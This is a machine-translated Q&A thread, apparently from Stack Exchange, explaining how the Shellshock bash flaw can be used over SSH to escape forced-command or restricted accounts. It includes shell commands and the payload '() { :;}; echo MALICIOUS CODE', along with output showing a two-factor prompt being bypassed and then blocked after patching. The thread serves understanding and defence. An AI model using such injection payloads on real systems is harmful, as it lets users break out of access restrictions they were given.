як можна експлуатувати снаряд над SSH?


68

Судячи з усього, експлуатуючи оболонку Bash CVE-2014-6271, можна використовувати через мережу через SSH. Я можу собі уявити, як експлуатував би роботу через Apache / CGI, але я не уявляю, як це буде працювати над SSH?

Чи може хтось, будь ласка, навести приклад того, як SSH буде експлуатуватися та яка шкода може бути заподіяна системі?

КЛАФІКАЦІЯ

AFAIU, лише автентифікований користувач може використовувати цю вразливість через SSH. Яка користь від цього подвигу для когось, хто все-таки має законний доступ до системи? Я маю на увазі, що цей подвиг не має ескалації привілеїв (він не може стати кореневим), тому він може зробити не більше, ніж міг би зробити, після простого входу в систему через SSH.


Простіше кажучи, це неможливо зробити, якщо хтось уже не має доступу до вашої скриньки. Нова оболонка bash виконується лише після успішної спроби входу.
Еверт

Це, здебільшого, медіа-підман, це може статися, але це не так погано, як зроблено.
jgr208

Чи йдуть імена користувачів дослівно в журнали? Якщо так, можливо, існує сценарій баш-журналу, що вразливий десь ...
PlasmaHH,

1
@PlasmaHH Якщо ви запускаєте свій сценарій розбору журналу як root, ви заслуговуєте на те, що отримуєте.
Barmar

@Barmar: окрім того, що питання полягає не в тому, щоб отримати кореневий доступ, а отримати доступ до машини (яка може бути всім необхідним, наприклад, для того, щоб знищити його чи заподіяти інший шкоду), коли ви можете запустити код, швидше за все, ви можете також запустіть код, який експлуатує щось інше, що отримує ваш корінь.
ПлазмаHH

Відповіді:


79

Одним із прикладів, коли це можна використати, є сервери з authorized_keysпримусовою командою. При додаванні запису в ~/.ssh/authorized_keys, ви можете випередити лінію , command="foo"щоб змусити fooбути запущений в будь-який час , що SSH використовується відкритий ключ. За допомогою цього подвигу, якщо встановлено оболонку цільового користувача bash, вони можуть скористатися цим експлуатацією для запуску речей, окрім команди, до якої вони змушені.

Це, мабуть, має більше сенсу в прикладі, тому ось приклад:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Тут ми створили користувача testuser, який змушує запускати будь-які ssh-з'єднання за допомогою вашого ключа ssh echo starting sleep; sleep 1.

Ми можемо перевірити це за допомогою:

$ ssh testuser@localhost echo something else
starting sleep

Зверніть увагу, як наші echo something elseне запускаються, але starting sleepпоказує, що примусова команда виконувалася.

Тепер покажемо, як можна використовувати цей подвиг:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Це працює, тому що sshdвстановлює SSH_ORIGINAL_COMMANDзмінну середовища для переданої команди. Тож хоч і sshdпобіг sleep, а не команда, яку я йому сказав, через міркування мій код все-таки запускається.


1
спробуйте це: ssh testuser@localhost echo something else '`whoami`' для того, щоб довести, де виконується команда
Річард

1
Я додам до цієї відповіді, що з точки зору SSH, експлуатація дозволяє лише авторизованому користувачеві з авторизованим ключем (авторизований ключ можна вважати довгим паролем) виконувати команди, які зазвичай не мають права виконувати. Це не дозволяє комусь без цього авторизованого ключа щось робити. Я не думаю, що це зрозуміло з відповіді, якщо ви не маєте гідного розуміння SSH та значення санкціонованого_кера.
Кріс Дракон

@skrewler Це, як правило, хороший знак, що ви неправильно трактуєте щось. Наприклад, у відповіді пояснюється, якби тестувальнику було надано задану налаштування облікового запису адміністратором, як тестувальник зможе уникнути обмежень, які їм були надані. І ні, не будь-яка причетність до баш означає, що ви можете скористатися обстрілом. Тільки тоді, коли bash працює з дозволами, користувач зазвичай не має, але він має вплив на змінні середовища bash.
Патрік

Гаразд, я отримую те, що ви зараз намагаєтесь показати - налаштування, яке обмежує тестовий користувач командою в .authorized_keys, а не оболонкою для входу. Для мене не було сенсу редагувати ваші власні .authorized_keys без запису, який виконує команду, коли ви вже мали доступ до оболонки (оскільки це не забезпечить виконання привілеїв) редагувати: видалений коментар, я виправлений.
гусениця

26

Розширення на прикладі від Ramesh - якщо ви використовуєте двофакторну автентифікацію, можна обійти другий фактор за допомогою цього експлуататора, залежно від способу його реалізації.

- Нормальний вхід -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Запуск коду без 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Ви помітите, що він запускав код, не вимагаючи для 2FA.

- Після виправлення баш -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
Просто, щоб обмежити паніку можливих читачів, використовуючи другий фактор: "залежно від того, як він реалізований" - я думаю, ви припустили, що другий фактор тут реалізований в bash або використовує readфункцію. В іншому випадку - користувач в безпеці.
Grzegorz Wierzowiecki

25

Shellshock - це вразливість на bash, а не на SSH. Для того, щоб його використовувати, зловмиснику потрібно змусити вразливу систему запускати bash та контролювати значення змінної середовища, яка буде передана bash.

Для того, щоб досягти баш-процесу через SSH, зловмиснику потрібно пройти етапи аутентифікації. (Можуть існувати вектори атаки через інші мережеві сервіси, але вони виходять за межі цього потоку.) Якщо в обліковому записі все одно дозволено виконувати довільні команди оболонок, атаки немає. Уразливість вступає в дію, якщо обліковий запис обмежений для виконання конкретних команд: наприклад, облікового запису лише для SFTP або облікового запису лише для git тощо.

Існує кілька способів обмежити обліковий запис для запуску певної команди з SSH: з ForceCommandопцією в sshd_configабо з а command=. обмеження у authorized_keysфайлі. Якщо оболонка користувача баш, то вразливість Shellshock дозволяє користувачеві, який, як правило, має доступ лише до обмеженого облікового запису, щоб обійти обмеження та виконувати довільні команди.


І це НЕ працює для інших снарядів, як zsh.
Еїр Нім
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.